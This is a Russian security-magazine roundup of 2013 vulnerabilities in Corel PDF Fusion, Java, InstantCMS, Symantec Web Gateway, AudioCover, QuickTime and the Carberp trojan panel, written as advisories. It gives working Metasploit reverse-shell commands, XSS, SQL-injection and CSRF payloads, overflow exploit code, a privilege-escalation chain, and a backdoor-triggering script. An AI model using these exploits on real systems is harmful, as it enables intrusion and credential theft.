В этом месяце нас снова порадовали уязвимостью в Java, правда, не нулевого дня. Множественные критические уязвимости были обнаружены в одном из флагманских продуктов Symantec — Web Gateway. Но самое главное — стал доступен эксплойт для административной панели популярного банковского трояна Carberp.

 

Corel PDF Fusion — переполнение буфера

  • CVSSv2 N/A
  • Дата релиза: 8 июля 2013 года
  • Автор: Kaveh Ghaemmaghami
  • CVE: 2013-3248

Corel PDF Fusion позволяет просматривать, редактировать, объединять и создавать PDF-документы из оригинальных файлов более чем 100 различных форматов, в том числе doc, WPD, JPG, TIFF, GDF, XPS, CAD, docx и PPTX. XPS — это открытый графический формат фиксированной разметки на базе XML от компании Microsoft. Как и docx, по сути, является ZIP-архивом. Данная уязвимость проявляется при парсинге имен директорий, входящих в этот архив, что позволяет вызвать переполнение буфера при открытии пользователем специально созданного XPS-файла.

Corel PDF Fusion собственной персоной
Corel PDF Fusion собственной персоной

EXPLOIT

Существует модуль для Metasploit, который создает атакующий файл.

msf > use exploit/windows/fileformat/corelpdf_fusion_bof
msf exploit(corelpdf_fusion_bof) > set PAYLOAD windows/meterpreter/reverse_tcp
msf exploit(corelpdf_fusion_bof) > set 192.168.24.141
msf exploit(corelpdf_fusion_bof) > exploit

Полученный файл отправляем жертве. Энтузиасты же могут сами реализовать эксплойт на основе реального файла. Выше я упомянул, что XPS-формат — это ZIP-архив, то есть можно воспользоваться одним из множества архиваторов (для Windows — 7zip) и самому перепаковать нужный файл, добавив к нему полезную нагрузку.

TARGETS

Corel PDF Fusion версии 1.11 и ниже.

SOLUTION

На момент публикации не было исправлений.

 

Небезопасный вызов метода Java Applet ProviderSkeleton

  • CVSSv2 9.3 (AV:R/AC:M/Au:N/C:C/I:C/A:C)
  • Дата релиза: 18 июня 2013 года
  • Автор: Adam Gowdiak
  • CVE: 2013-2460

И снова в нашем обзоре уязвимость в Java. Ошибка проявляется при обращении к методуinvoke() класса ProviderSkeleton. Атакующий может создать специальный веб-сайт, который выполнит произвольный код у пользователя. Подобная уязвимость была найдена этой же командой Security Explorations в прошлом году, поэтому автор уязвимости для успешной атаки использует ту же конструкцию. Он запускает системные (запрещенные) команды через объект в поле lookupClass, ссылку на который получает через метод forName, вызванный из уязвимого класса.

EXPLOIT

Конечно же, для такой уязвимости существует Metasploit-модуль для всех ОС:

msf > use exploit/multi/browser/java_jre17_provider_skeleton
msf exploit(java_jre17_provider_skeleton) > set PAYLOAD java/meterpreter/reverse_tcp
msf exploit(java_jre17_provider_skeleton) > set 192.168.24.141
msf exploit(java_jre17_provider_skeleton) > exploit

Также есть исходники эксплойта от автора исследования.

TARGETS

Java 7 update 21 и ниже.

SOLUTION

Существует исправление от производителя.

 

Выполнение произвольного кода в InstantCMS 1.6

  • CVSSv2 N/A
  • Дата релиза: 26 июня 2013 года
  • Автор: AkaStep
  • CVE: N/A

Сегодня мы рассмотрим довольно популярную CMS, которую особенно любят использовать в качестве каких-либо порталов. Чаще всего это городские или по интересам (автомобильные). Ошибка заключается в недостаточной фильтрации полученных данных от пользователя, причем полученный параметр используется в функции eval.

if ($look == 'phrase'){
    $against .= '\"'.$query.'\"';
}
...

eval('search_'.$component['link'].'("'.$against.'", "'.$look.'", "'.$mode.'");');

Чтобы проверить, уязвима ли версия на сайте, обратимся по адресу со следующими параметрами:

site.com/index.php?view=search&query=${echo phpinfo()}&look=allwords

В результате мы должны увидеть вывод нашей любимой функции phpinfo().

EXPLOIT

В качестве эксплойта можно воспользоваться следующим:

  • По аналогии с phpinfo() передаем любой нужный нам параметр. Например, функцию чтения файла и вывод, чтобы получить пароль к БД.
  • У автора уязвимости существует скрипт для программы AutoIt. Пример работы такой программы можно увидеть на скриншоте.
  • Metasploit-модуль.
Пример работы эксплойта в ОС Windows
Пример работы эксплойта в ОС Windows

TARGETS

InstantCMS =< 1.6. По словам автора, на просторах Сети он нашел тестовую версию 1.7, которая также была уязвима.

SOLUTION

На момент публикации не было исправлений. Но можно сделать фильтрацию вручную, обернув полученный уязвимый параметр в функцию htmlspecialchars().

 

Многочисленные уязвимости в Symantec Web Gateway 5.1.0

  • CVSSv2 N/A
  • Дата релиза: 27 июля 2013 года
  • Автор: Wolfgang Ettlinger
  • CVE: 2013-1616, 2013-4670, 2013-4671, 2013-4672

Теперь рассмотрим корпоративное защитное решение от антивирусного производителя Symantec. Symantec Web Gateway защищает организации от многочисленных вредоносных программ и поддерживает развертывание в виде виртуального или физического устройства. Как пишет сама компания, продукт основан на Insight — инновационной технологии собственной разработки для фильтрации вредоносных программ с учетом репутации. В работе используется глобальная сеть из более чем 210 миллионов пользователей, чтобы выявлять новые угрозы еще до того, как они смогут нарушить работу организации.

Теперь рассмотрим сами уязвимости:

  1. Отраженная XSS — позволяет эффективно перехватить сессию с cookies администратора.
  2. Хранимая XSS — позволяет неавторизованному пользователю вставить код скрипта в интерфейс администратора. Этот скрипт выполнится, как только администратор посетит свою панель.
  3. Инъекция системных команд — исследователи обнаружили многочисленные уязвимости, позволяющие вставить системные команды. Авторизованный пользователь может выполнить произвольные команды в ОС с правами системного пользователя apache. Это можно использовать для получения постоянного доступа к атакуемой системе (например, установка и запуска бэкдора), раскрытия всей сохраненной информации или перехвата сетевого трафика.
  4. Неправильная конфигурация безопасности — непривилегированные системные пользователи (например, apache) могут получить права администратора из-за неправильной конфигурации программы sudo.
  5. SQL-инъекция — было найдено несколько инъекций, которые позволяют выполнить любую SQL-команду, правда только авторизованным пользователям с правами администратора.
  6. CSRF (подделка межсайтовых запросов) — небольшая встроенная защита от атак такого типа легко обходится, что позволяет атакующему отправить нужные запросы в контексте сессии администратора.

Как видишь, если объединить эксплуатацию нескольких уязвимостей в одну цепочку, можно получить права администратора в атакуемой сети. Далее рассмотрим примеры уязвимых скриптов для каждой уязвимости.

Панель администратора Symantec Web Gateway
Панель администратора Symantec Web Gateway

EXPLOIT

  1. Отраженная XSS — следующий адрес демонстрирует пример эксплуатации на примере стандартной функции alert():
    https://<host>/spywall/feedback_report.php?rpp=0%27%20onfocus=%22alert%28%27xss%27%29%22%20autofocus/%3E
    
  2. Хранимая XSS — страница blocked.php, которая позволяет вставить код скрипта в панель администратора без авторизации. Ниже продемонстрирован адрес атаки, где полезная нагрузка сохраняется в параметре u:
    https://<host>/spywall/blocked.php?id=1&history=-2&u=%27/%3E%3Cscript%3Ealert%28%27xss%27%29;%3C/script%3E
    
  3. Инъекция системных команд — функционал, изменяющий имя хоста и более известный как тестовый пинг (Test Ping), позволяет вставить произвольную системную команду, закрыв с помощью кавычки (`). Такие команды выполнятся в системе с правами пользователя apache. Уязвимые скрипты:
    • /spywall/nameConfig.php;
    • /spywall/networkConfig.php.
  4. Неправильная конфигурация безопасности — файл /etc/sudoers позволяет пользователям apache и admin запускать некоторые критичные команды с правами администратора. Например, пользователь apache может запускать такие команды, какchmod, chown и insmod, без ввода пароля.
  5. SQL-инъекция — ниже представлено несколько примеров, выводящих все имена пользователей и хеши их паролей в системе:
    https://<host>/spywall/feedback_report.php?variable[]=1) UNION SELECT 1,2,3,4,username,6,7,8,9,password FROM users --&operator[]=notequal&operand[]=x
    
    https://<host>/spywall/edit_alert.php?alertid=11%20UNION%20SELECT%201,2,username,password,5,6,7,8,9,10,111,12,13,14,15,16,17,18%20FROM%20users%20--%20
    
  6. CSRF — следующий запрос настраивает LDAP-сервер на аутентификацию пользователя с правами администратора:
    POST /spywall/ldapConfig.php HTTP/1.1
    Host: <host>
    Cookie: PHPSESSID=<valid-cookie>
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 247
    
        posttime=9999999999&saveForm=Save&useldap=1&ldap_host=0.0.0.0&ldap_port=389&a   uth_method=Simple&search_base=dc%3Dtest%2Cdc%   3Dlocal&ldap_user=test&ldap_password=test&dept_type=dept&user_attribute=sAMAc   countName&user_attribute_other=&ldap_timeout=168
    

Единственная защита от CSRF атак заключается в параметре posttime, который содержит время в формате unix timestamp. Его значение должно быть больше, чем было в последнем запросе. Поэтому можно передать заведомо большее значение, например, 9999999999, и запрос всегда будет успешно выполнен. Исходя из всех перечисленных выше уязвимостей, можно вывести следующий сценарий атаки:

  1. Пользователь, защищенный с помощью Symantec Web Gateway, заходит на страницу, которая содержит изображение, ссылку или iframe. Ссылка указывает на запрещенную страницу (например, тестовый EICAR-файл) и содержит скрипт (XSS).
  2. Symantec Web Gateway блокирует запрос и перенаправляет пользователя на скрипт blocked.php. Если заблокированная ссылка содержит параметр history=-2 (который любезно добавил атакующий), то адрес/скрипт (XSS) автоматически сохранится как «заблокированное сообщение обратной связи» (Blocked Feedback) в интерфейсе администратора.
  3. Когда администратор посетит страницу с «заблокированным сообщением обратной связи», сохраненный скрипт автоматически выполнится. Он, в свою очередь, может использовать уязвимость инъекции системных команд для автоматической загрузки и выполнения шелла. 4. Так как пользователь apache может выполнять команды chmod иchown как администратор, наш шелл создаст бинарник с SUID-битом и выполнит его.
  4. Теперь у атакующего есть доступ к системе с наивысшими (администраторскими) правами.

Так что вся атака упирается лишь в пользователя, который посетит «вредоносную» страницу. Если же у атакующего есть доступ к интересующей сети, то XSS-уязвимость может быть проэксплуатирована напрямую. Автор пишет, что обладает полным исходным кодом такого эксплойта, но выкладывать его в открытый доступ он пока не планирует.

Пример заблокированной страницы с помощью Symantec Web Gateway
Пример заблокированной страницы с помощью Symantec Web Gateway

TARGETS

Symantec Web Gateway <= 5.1.0.*.

SOLUTION

Есть исправления от производителя.

 

Переполнение буфера в AudioCover 0.8.22

  • CVSSv2 N/A
  • Дата релиза: 1 июля 2013 года
  • Автор: metacom, onying
  • CVE: N/A

1 мая 2013 года была опубликована похожая уязвимость для этой же программы версии 0.8.18, но для ее эксплуатации надо было создать специальный файл в формате M3U. Другие исследователи выяснили, что можно использовать формат lst и версия 0.8.22 также уязвима. Оба формата — музыкальные плей-листы, и если пользователь добавит такой специальный файл, то это позволит атакующему выполнить свой код.

EXPLOIT

Разберем эксплойт:

shellcode =
"\x89\xe0..." + # Любой шелл-код, можно cгенерировать с помощью msfpayload

file = "fuzz.lst" # Имя файла
head = "http://"  # Заголовок
junk = "\x90" * 765 # Переполнение, чтобы перезаписать регистр EIP
nseh = "\xEB\x06\x90\x90" # Небольшой прыжок в 6 байт
seh  = "\xEE\x04\x01\x66" # ... RETN libiconv-2.dll
nops = "\x90" * 80
textfile = open(file , 'w')
textfile.write(head + junk + nseh + seh + nops + shellcode)
textfile.close()

TARGETS

AudioCover 0.8.22 и ниже.

SOLUTION

На момент публикации не было исправлений.

 

Переполнение буфера в Apple Quicktime 7

  • CVSSv2 7.5 (AV:N/AC:L/Au:N/C:P/I:P/A:P)
  • Дата релиза: 24 мая 2013 года
  • Автор: Tom Gallagher, Paul Bates
  • CVE: 2013-1017

Эта уязвимость позволяет удаленному атакующему выполнить произвольный код через установленную программу от Apple — QuickTime. От пользователя требуется зайти на вредоносную страницу или открыть специально сконструированный файл.

Специфичная ошибка возникает при обработке файла в формате MOV. Это происходит из-за недостаточной проверки длины данных для указанных атомов, таких как rdrf или dref, в записи Alis. Значение между этими атомами используется для определения, сколько байт копировать в буфер, без достаточной проверки значения, из-за чего значение может быть больше размера буфера. В результате возникает переполнение. После этого у атакующего будет гарантированный доступ к памяти и возможность выполнить произвольный код с правами авторизованного пользователя.

EXPLOIT

Ниже разобран формат специально сконструированного файла, который используется в качестве эксплойта:

mov  = "\x00\x00\x06\xDF"  # Размер файла
mov << "moov"              # moov атом
mov << "\x00\x00\x06\xD7"  # размер (1751d)
mov << "rmra"              # Ссылка на moov атом
mov << "\x00\x00\x06\xCF"  # размер (1743d)
mov << "rmda"              # rmda атом
mov << "\x00\x00\x06\xBF"  # размер (1727d)
mov << "rdrf"              # Данные ссылки атом
mov << "\x00\x00\x00\x00"  # Устанавливаем размер в 0
mov << "alis"              # Ссылка на тип: FS alis запись
mov << "\x00\x00\x06\xAA"  # размер (1706d)
mov << rand_text_alpha(8)
mov << "\x00\x00\x06\x61"  # размер (1633d)
mov << rand_text_alpha(38)
mov << "\x12"
mov << rand_text_alpha(81)
mov << "\xFF\xFF"
mov << rand_text_alpha(18)
mov << "\x00\x08"          # размер (8d)
mov << rand_text_alpha(8)
mov << "\x00\x00"
mov << "\x00\x08"          # размер (8d)
mov << rand_text_alpha(8)
mov << "\x00\x00"
mov << "\x00\x26"          # размер (38d)
mov << rand_text_alpha(38)
mov << "\x00\x0F\x00\x0E"
mov << "AA"                # размер (должен быть неправильным)
mov << rand_text_alpha(12)
mov << "\x00\x12\x00\x21"
mov << rand_text_alpha(36)
mov << "\x00"
mov << "\x0F\x33"
mov << rand_text_alpha(17)
mov << "\x02\xF4"          # размер (756h)
mov << rand_text_alpha(756)
mov << "\xFF\xFF\x00\x00\x00"
mov << buf                 # полезная нагрузка

Более подробно формат файлов для QuickTime расписан на официальном сайте Apple вразделе для разработчиков. А для создания атакующей HTML-страницы с созданным «полезным» файлом воспользуемся Metasploit-модулем:

msf > use exploit/windows/browser/apple_quicktime_rdrf.rb
msf exploit(apple_quicktime_rdrf.rb) > set PAYLOAD windows/meterpreter/reverse_tcp
msf exploit(apple_quicktime_rdrf.rb) > set 192.168.24.141
msf exploit(apple_quicktime_rdrf.rb) > exploit

TARGETS

Quicktime 7.7.3 и ниже.

SOLUTION

Есть патч от производителя.

 

Удаленное выполнение произвольного кода в Carberp Web Panel C2

  • CVSSv2 N/A
  • Дата релиза: 28 июня 2013 года
  • Автор: Xylitol
  • CVE: N/A

В конце июня случился переломный момент в современном вирусописании. Если раньше у большинства людей были только исходники трояна Zeus, то теперь в публичный доступ утекли исходники банковского трояна Carberp вместе с буткит-фреймворком и административной панелью. Один из популярных исследователей вредоносных программ Xylitol решил провести аудит исходного кода последней и сразу же нашел вот такой код:

if(@$_POST['id'] == 'BOTNETCHECKUPDATER0-WD8Sju5VR1HU8jlV'){
//Rkey end
    if(!empty($_POST['data'])) eval(pack("H*", base64_decode($_POST['data'])));
        exit;

Как видишь, если пришел специальный POST-запрос с ключом BOTNETCHECKUPDATER0-WD8Sju5VR1HU8jlV в параметре id, то скрипт выполнит любой код, зашифрованный с помощью алгоритма BASE64 и переданный в параметре data.

EXPLOIT

В качестве эксплойта можно воспользоваться следующими наработками:

  • Скрипт от автора можно скачать с его блога. Сделан по принципу «нажать кнопку», нужно только ввести адрес предполагаемой административной панели.
  • Выпущен Metasploit-модуль.

Или самому в соответствующей программе, скрипте или плагине для браузера составить POST-запрос. Например, на языке PHP это будет выглядеть так:

$data = array(
'id' => 'BOTNETCHECKUPDATER0-WD8Sju5VR1HU8jlV',
'data' => '...'); // Полезная нагрузка, зашифрованная с помощью алгоритма Base64
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $_POST['urlz'] . "/index.php");
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch,CURLOPT_USERAGENT,"Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)");
curl_setopt($ch, CURLOPT_HTTPHEADER, array('Expect:'));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch,CURLOPT_TIMEOUT,30);
curl_setopt($ch, CURLOPT_POSTFIELDS, $data);
$contents = curl_exec($ch);
Пример успешной атаки на одну из административных панелей трояна Carberp
Пример успешной атаки на одну из административных панелей трояна Carberp

TARGETS

Все версии, установленные до 28 июня. Плюс те, которые будут использоваться вместе с опубликованными исходниками :).

SOLUTION

Патча на данный момент не существует. В качестве быстрого патча можно заменить ключBOTNETCHECKUPDATER0-WD8Sju5VR1HU8jlV на любой другой.

 

В ISC BIND найден очередной баг, который приводит к DoS

Ошибка вызвана некорректной обработкой данных RDATA внутри DNS-запроса. Удаленный пользователь может с помощью специально сформированного DNS-запроса спровоцировать вызов REQUIRE-исключения и аварийно завершить работу процесса named. Уязвимости подвержены как рекурсивные, так и авторитативные DNS-серверы. Причем ограничение доступа с помощью встроенных ACL не позволяет защититься от проблемы. На момент публикации уязвимость (CVE-2013-4854) исправлена в версиях BIND 9.9.3-P2 и 9.8.5-P2, все остальные версии BIND 9, новее ветки 9.6, уязвимы.

 

Оставить мнение

Check Also

Конкурс хаков: пишем на PowerShell скрипт, который уведомляет о днях рождения пользователей Active Directory

В компаниях часто встречается задача уведомлять сотрудников о приближающихся днях рождения…